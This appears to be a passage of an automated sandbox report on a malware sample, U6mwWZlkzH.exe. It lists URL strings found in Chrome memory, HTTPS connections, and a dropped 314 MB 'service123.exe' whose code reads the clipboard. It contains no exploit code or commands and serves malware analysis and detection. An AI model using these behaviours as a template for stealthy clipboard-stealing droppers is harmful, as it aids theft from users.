Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801164415.000009C0028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: dlEmjynrOeqkpoHZKKOr.dll.0.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/3
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1798380163.000009C00220C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.comn
Source: chrome.exe, 00000003.00000002.1800753008.000009C0027F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000002.1808542167.0000331800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.1808542167.0000331800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000002.1806776457.0000331800238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard3
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.1808542167.0000331800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.1808542167.0000331800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1773607840.00003318006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808458760.0000331800744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000003.00000002.1808458760.0000331800744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800913918.000009C002838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1798807990.000009C0022EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.1802381908.000009C002B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800873194.000009C002818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.1800873194.000009C002818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.1802381908.000009C002B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones
Source: chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.1785913359.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786458040.000009C003198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802902444.000009C002C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.1798521549.000009C002264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806429373.000009C0032EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806328008.000009C0032BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000003.1785913359.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786458040.000009C003198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802902444.000009C002C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.1802902444.000009C002C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.1798586474.000009C00227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.1798740070.000009C0022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.1802770434.000009C002C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.1801019115.000009C002874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ww.youtube.com/s/notifications/maifest/cr_install.html
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1798411832.000009C00221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.1782105384.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.1801811356.000009C0029E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.1801811356.000009C0029E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharGl3
Source: chrome.exe, 00000003.00000002.1803654094.000009C002E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801164415.000009C0028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.1805669728.000009C0030C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806429373.000009C0032EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000003.00000002.1805669728.000009C0030C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0A
Source: chrome.exe, 00000003.00000002.1805867056.000009C003120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000002.1805554252.000009C003078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802414956.000009C002B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802068773.000009C002A64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.1805554252.000009C003078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802414956.000009C002B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802068773.000009C002A64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1802136186.000009C002A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.1803525650.000009C002DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800651938.000009C0027B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.1800651938.000009C0027B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000003.00000002.1803525650.000009C002DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icotateWorks
Source: chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1802833863.000009C002C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1798411832.000009C00221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1800651938.000009C0027B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1800651938.000009C0027B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/tokeno
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/;
Source: chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.1801019115.000009C002874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1804318388.000009C002EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6D009B99 OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,GetClipboardSequenceNumber,

9_2_6D009B99

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6D009B99 OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,GetClipboardSequenceNumber,

9_2_6D009B99

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

File dump: service123.exe.0.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: U6mwWZlkzH.exe	Static PE information: section name:
Source: U6mwWZlkzH.exe	Static PE information: section name: .idata
Source: U6mwWZlkzH.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_005251B0	9_2_005251B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00523E20	9_2_00523E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6CFFCD00	9_2_6CFFCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6CFFEE50	9_2_6CFFEE50
